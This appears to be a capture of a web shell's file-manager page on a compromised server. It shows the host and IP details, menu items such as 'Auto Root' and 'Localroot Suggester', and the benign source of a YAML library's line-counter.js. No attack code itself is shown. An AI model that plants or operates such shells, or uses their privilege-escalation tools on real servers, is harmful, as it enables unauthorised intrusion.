Linux v69820.1blu.de 4.15.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
Apache/2.4.58
Server IP : 195.90.215.149 & Your IP : 216.73.217.80
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
nodejs /
yaml /
dist /
parse /
Delete
Unzip
Name
Size
Permission
Date
Action
cst-scalar.d.ts
3.45
KB
-rw-r--r--
2024-02-26 08:46
cst-scalar.js
9.15
KB
-rw-r--r--
2024-02-26 08:46
cst-stringify.d.ts
313
B
-rw-r--r--
2024-02-26 08:46
cst-stringify.js
1.76
KB
-rw-r--r--
2024-02-26 08:46
cst-visit.d.ts
2.22
KB
-rw-r--r--
2024-02-26 08:46
cst-visit.js
3.89
KB
-rw-r--r--
2024-02-26 08:46
cst.d.ts
3.36
KB
-rw-r--r--
2024-02-26 08:46
cst.js
3.17
KB
-rw-r--r--
2024-02-26 08:46
lexer.d.ts
2.86
KB
-rw-r--r--
2024-02-26 08:46
lexer.js
22.92
KB
-rw-r--r--
2024-02-26 08:46
line-counter.d.ts
733
B
-rw-r--r--
2024-02-26 08:46
line-counter.js
1.41
KB
-rw-r--r--
2024-02-26 08:46
parser.d.ts
2.5
KB
-rw-r--r--
2024-02-26 08:46
parser.js
33.71
KB
-rw-r--r--
2024-02-26 08:46
Save
Rename
'use strict'; /** * Tracks newlines during parsing in order to provide an efficient API for * determining the one-indexed `{ line, col }` position for any offset * within the input. */ class LineCounter { constructor() { this.lineStarts = []; /** * Should be called in ascending order. Otherwise, call * `lineCounter.lineStarts.sort()` before calling `linePos()`. */ this.addNewLine = (offset) => this.lineStarts.push(offset); /** * Performs a binary search and returns the 1-indexed { line, col } * position of `offset`. If `line === 0`, `addNewLine` has never been * called or `offset` is before the first known newline. */ this.linePos = (offset) => { let low = 0; let high = this.lineStarts.length; while (low < high) { const mid = (low + high) >> 1; // Math.floor((low + high) / 2) if (this.lineStarts[mid] < offset) low = mid + 1; else high = mid; } if (this.lineStarts[low] === offset) return { line: low + 1, col: 1 }; if (low === 0) return { line: 0, col: offset }; const start = this.lineStarts[low - 1]; return { line: low, col: offset - start + 1 }; }; } } exports.LineCounter = LineCounter;